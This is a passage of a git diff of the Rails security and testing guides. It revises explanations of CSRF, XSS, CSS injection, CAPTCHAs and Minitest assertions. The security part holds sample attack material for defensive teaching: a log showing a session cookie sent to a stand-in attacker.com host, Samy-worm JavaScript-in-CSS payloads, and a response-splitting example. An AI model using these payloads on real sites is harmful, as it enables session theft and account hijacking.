image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
 +Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.
 Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. @@ -398,7 +406,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. -Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested a URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): ``` http://localhost:3006/user/activate @@ -445,18 +453,20 @@ However, the attacker may also take over the account by changing the e-mail addr #### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. ### CAPTCHAs -INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ +INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ -But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API. +A popular positive CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API. You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot. +The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms. -Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. +Most bots are really dumb. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. + +Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response. Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: @@ -484,6 +494,8 @@ By default, Rails logs all requests being made to the web application. But log f config.filter_parameters << :password ``` +NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`. + ### Good Passwords INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ @@ -570,7 +582,7 @@ NOTE: _When sanitizing, protecting or verifying something, prefer whitelists ove A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_: -* Use before_action only: [...] instead of except: [...]. This way you don't forget to turn it off for newly added actions. +* Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions. * Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details. * Don't try to correct user input by blacklists: * This will make the attack work: "<sc<script>ript>".gsub("<script>", "") @@ -665,14 +677,12 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili An entry point is a vulnerable URL and its parameters where an attacker can start an attack. -The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements. XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets. -A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/). - #### HTML/JavaScript Injection The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_. @@ -710,7 +720,7 @@ The log files on www.attacker.com will read like this: GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ``` -You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/), though. +You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4 and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though. ##### Defacement @@ -752,7 +762,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title)) This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags. -As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources. +As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, and > by their uninterpreted representations in HTML (`&`, `"`, `<`, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources. ##### Obfuscation and Encoding Injection @@ -777,21 +787,19 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... ``` -The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. +The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. -The MySpace Samy worm will be discussed in the CSS Injection section. - ### CSS Injection INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._ -CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm. +CSS Injection is explained best by the well-known [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm. -MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this: +MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this: ```html <div style="background:url('javascript:alert(1)')"> @@ -815,7 +823,7 @@ The next problem was MySpace filtering the word "javascript", so the author used <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> ``` -Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. +Another problem for the worm's author was the [CSRF security tokens](#cross-site-request-forgery-csrf). Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. In the end, he got a 4 KB worm, which he injected into his profile page. @@ -923,7 +931,7 @@ HTTP/1.1 200 OK [Second New response created by attacker begins] Content-Type: text/html -<html><font color=red>hey</font></html> [Arbitary malicious input is +<html><font color=red>hey</font></html> [Arbitrary malicious input is Keep-Alive: timeout=15, max=100 shown as the redirected page] Connection: Keep-Alive Transfer-Encoding: chunked @@ -969,7 +977,7 @@ request: | `{ "person": [null, null, ...] }` | `{ :person => [] }` | | `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` | -It is possible to return to old behaviour and disable `deep_munge` configuring +It is possible to return to old behavior and disable `deep_munge` configuring your application if you are aware of the risk and know how to handle it: ```ruby @@ -1006,24 +1014,41 @@ config.action_dispatch.default_headers.clear Here is a list of common headers: -* X-Frame-Options -_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. -* X-XSS-Protection -_'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters) -* X-Content-Type-Options -_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. -* X-Content-Security-Policy -[A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) -* Access-Control-Allow-Origin -Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. -* Strict-Transport-Security -[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) +* **X-Frame-Options:** _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. +* **X-XSS-Protection:** _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters) +* **X-Content-Type-Options:** _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. +* **X-Content-Security-Policy:** [A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) +* **Access-Control-Allow-Origin:** Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. +* **Strict-Transport-Security:** [Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) Environmental Security ---------------------- It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information. +### Custom secrets + +Rails generates a `config/secrets.yml`. By default, this file contains the +application's `secret_key_base`, but it could also be used to store other +secrets such as access keys for external APIs. + +The secrets added to this file are accessible via `Rails.application.secrets`. +For example, with the following `config/secrets.yml`: + + development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY + +`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development +environment. + +If you want an exception to be raised when some key is blank, use the bang +version: + +```ruby +Rails.application.secrets.some_api_key! # => raises KeyError: key not found: :some_api_key +``` + Additional Resources -------------------- @@ -1031,4 +1056,4 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security) * [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too) -* A [good security blog](http://ha.ckers.org/blog/) including the [Cross-Site scripting Cheat Sheet](http://ha.ckers.org/xss.html) +* A [good security blog](https://www.owasp.org) including the [Cross-Site scripting Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) diff --git a/guides/source/testing.md b/guides/source/testing.md index 84f1f25df9..34c831c802 100644 --- a/guides/source/testing.md +++ b/guides/source/testing.md @@ -25,15 +25,7 @@ Rails tests can also simulate browser requests and thus you can test your applic Introduction to Testing ----------------------- -Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data. - -### The Test Environment - -By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`. - -A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases. - -Also, each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in `config/environments/test.rb`. +Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. ### Rails Sets up for Testing from the Word Go @@ -51,128 +43,23 @@ Fixtures are a way of organizing test data; they reside in the `fixtures` direct The `test_helper.rb` file holds the default configuration for your tests. -### The Low-Down on Fixtures - -For good tests, you'll need to give some thought to setting up test data. -In Rails, you can handle this by defining and customizing fixtures. -You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - -#### What Are Fixtures? - -_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model. - -You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model fixture stubs will be automatically created and placed in this directory. - -#### YAML - -YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`). - -Here's a sample YAML fixture file: - -```yaml -# lo & behold! I am a YAML comment! -david: - name: David Heinemeier Hansson - birthday: 1979-10-15 - profession: Systems development - -steve: - name: Steve Ross Kellock - birthday: 1974-09-27 - profession: guy with keyboard -``` - -Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column. - -If you are working with [associations](/association_basics.html), you can simply -define a reference node between two different fixtures. Here's an example with -a `belongs_to`/`has_many` association: - -```yaml -# In fixtures/categories.yml -about: - name: About - -# In fixtures/articles.yml -one: - title: Welcome to Rails! - body: Hello world! - category: about -``` - -Notice the `category` key of the `one` article found in `fixtures/articles.yml` has a value of `about`. This tells Rails to load the category `about` found in `fixtures/categories.yml`. - -NOTE: For associations to reference one another by name, you cannot specify the `id:` attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - -#### ERB'in It Up - -ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users: - -```erb -<% 1000.times do |n| %> -user_<%= n %>: - username: <%= "user#{n}" %> - email: <%= "user#{n}@example.com" %> -<% end %> -``` - -#### Fixtures in Action - -Rails by default automatically loads all fixtures from the `test/fixtures` directory for your models and controllers test. Loading involves three steps: - -1. Remove any existing data from the table corresponding to the fixture -2. Load the fixture data into the table -3. Dump the fixture data into a method in case you want to access it directly - -TIP: In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions [here](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)) - -#### Fixtures are Active Record objects - -Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example: - -```ruby -# this will return the User object for the fixture named david -users(:david) - -# this will return the property for david called id -users(:david).id - -# one can also access methods available on the User class -email(david.girlfriend.email, david.location_tonight) -``` - -### Rake Tasks for Running your Tests -Rails comes with a number of built-in rake tasks to help with testing. The -table below lists the commands included in the default Rakefile when a Rails -project is created. - -| Tasks | Description | -| ----------------------- | ----------- | -| `rake test` | Runs all tests in the `test` directory. You can also run `rake` and Rails will run all tests by default | -| `rake test:controllers` | Runs all the controller tests from `test/controllers` | -| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` | -| `rake test:helpers` | Runs all the helper tests from `test/helpers` | -| `rake test:integration` | Runs all the integration tests from `test/integration` | -| `rake test:jobs` | Runs all the job tests from `test/jobs` | -| `rake test:mailers` | Runs all the mailer tests from `test/mailers` | -| `rake test:models` | Runs all the model tests from `test/models` | -| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` | -| `rake test:db` | Runs all tests in the `test` directory and resets the db | +### The Test Environment -We will cover each of types Rails tests listed above in this guide. +By default, every Rails application has three environments: development, test, and production. -Unit Testing your Models ------------------------- +Each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in `config/environments/test.rb`. -In Rails, unit tests are what you write to test your models. +NOTE: Your tests are run under `RAILS_ENV=test`. -For this guide we will be using the application we built in the [Getting Started with Rails](getting_started.html) guide. +### Rails meets Minitest -If you remember when you used the `rails generate scaffold` command from earlier. We created our first resource among other things it created a test stub in the `test/models` directory: +If you remember, we used the `rails generate model` command in the +[Getting Started with Rails](getting_started.html) guide. We created our first +model, and among other things it created test stubs in the `test` directory: ```bash -$ bin/rails generate scaffold article title:string body:text +$ bin/rails generate model article title:string body:text ... create app/models/article.rb create test/models/article_test.rb @@ -198,13 +85,13 @@ A line by line examination of this file will help get you oriented to Rails test require 'test_helper' ``` -By requiring this file, `test_helper.rb` the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all your tests. +By requiring this file, `test_helper.rb` the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all our tests. ```ruby class ArticleTest < ActiveSupport::TestCase ``` -The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, you'll see some of the methods it gives you. +The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, we'll see some of the methods it gives us. Any method defined within a class inherited from `Minitest::Test` (which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` (case sensitive) is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run. @@ -242,48 +129,7 @@ An assertion is a line of code that evaluates an object (or expression) for expe * does this line of code throw an exception? * is the user's password greater than 5 characters? -Every test must contain at least one assertion, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass. - -### Maintaining the test database schema - -In order to run your tests, your test database will need to have the current -structure. The test helper checks whether your test database has any pending -migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` -into the test database. If migrations are still pending, an error will be -raised. Usually this indicates that your schema is not fully migrated. Running -the migrations against the development database (`bin/rake db:migrate`) will -bring the schema up to date. - -NOTE: If existing migrations required modifications, the test database needs to -be rebuilt. This can be done by executing `bin/rake db:test:prepare`. - -### Running Tests - -Running a test is as simple as invoking the file containing the test cases through `rake test` command. - -```bash -$ bin/rake test test/models/article_test.rb -. - -Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s. - -1 tests, 1 assertions, 0 failures, 0 errors, 0 skips -``` - -This will run all test methods from the test case. - -You can also run a particular test method from the test case by running the test and providing the `test method name`. - -```bash -$ bin/rake test test/models/article_test.rb test_the_truth -. - -Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s. - -1 tests, 1 assertions, 0 failures, 0 errors, 0 skips -``` - -The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary. +Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass. #### Your first failing test @@ -296,10 +142,10 @@ test "should not save article without title" do end ``` -Let us run this newly added test. +Let us run this newly added test (where `6` is the number of line where the test is defined). ```bash -$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title +$ bin/rails test test/models/article_test.rb:6 F Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s. @@ -311,7 +157,7 @@ Failed assertion, no message given. 1 tests, 1 assertions, 1 failures, 0 errors, 0 skips ``` -In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here: +In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message that mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here: ```ruby test "should not save article without title" do @@ -331,7 +177,7 @@ Saved the article without a title Now to get this test to pass we can add a model level validation for the _title_ field. ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord validates :title, presence: true end ``` @@ -339,7 +185,7 @@ end Now the test should pass. Let us verify by running the test again: ```bash -$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title +$ bin/rails test test/models/article_test.rb:6 . Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s. @@ -368,7 +214,7 @@ end Now you can see even more output in the console from running the tests: ```bash -$ bin/rake test test/models/article_test.rb test_should_report_error +$ bin/rails test test/models/article_test.rb E Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s. @@ -386,18 +232,17 @@ Notice the 'E' in the output. It denotes a test with error. NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in random order. The -[`config.active_support.test_order` option](http://edgeguides.rubyonrails.org/configuring.html#configuring-active-support) +[`config.active_support.test_order` option](configuring.html#configuring-active-support) can be used to configure test order. When a test fails you are presented with the corresponding backtrace. By default Rails filters that backtrace and will only print lines relevant to your application. This eliminates the framework noise and helps to focus on your code. However there are situations when you want to see the full -backtrace. simply set the `BACKTRACE` environment variable to enable this -behavior: +backtrace. Simply set the `-b` (or `--backtrace`) argument to enable this behavior: ```bash -$ BACKTRACE=1 bin/rake test test/models/article_test.rb +$ bin/rails test -b test/models/article_test.rb ``` If we want this test to pass we can modify it to use `assert_raises` like so: @@ -417,9 +262,49 @@ This test should now pass. By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned. -There are a bunch of different types of assertions you can use that come with [`Minitest`](https://github.com/seattlerb/minitest), the default testing library used by Rails. - -For a list of all available assertions please check the [Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html) +Here's an extract of the assertions you can use with +[`Minitest`](https://github.com/seattlerb/minitest), the default testing library +used by Rails. The `[msg]` parameter is an optional string message you can +specify to make your test failure messages clearer. + +| Assertion | Purpose | +| ---------------------------------------------------------------- | ------- | +| `assert( test, [msg] )` | Ensures that `test` is true.| +| `assert_not( test, [msg] )` | Ensures that `test` is false.| +| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.| +| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.| +| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.| +| `assert_not_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.| +| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.| +| `assert_not_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.| +| `assert_empty( obj, [msg] )` | Ensures that `obj` is `empty?`.| +| `assert_not_empty( obj, [msg] )` | Ensures that `obj` is not `empty?`.| +| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.| +| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.| +| `assert_includes( collection, obj, [msg] )` | Ensures that `obj` is in `collection`.| +| `assert_not_includes( collection, obj, [msg] )` | Ensures that `obj` is not in `collection`.| +| `assert_in_delta( expected, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are within `delta` of each other.| +| `assert_not_in_delta( expected, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.| +| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.| +| `assert_raises( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.| +| `assert_nothing_raised { block }` | Ensures that the given block doesn't raise any exceptions.| +| `assert_instance_of( class, obj, [msg] 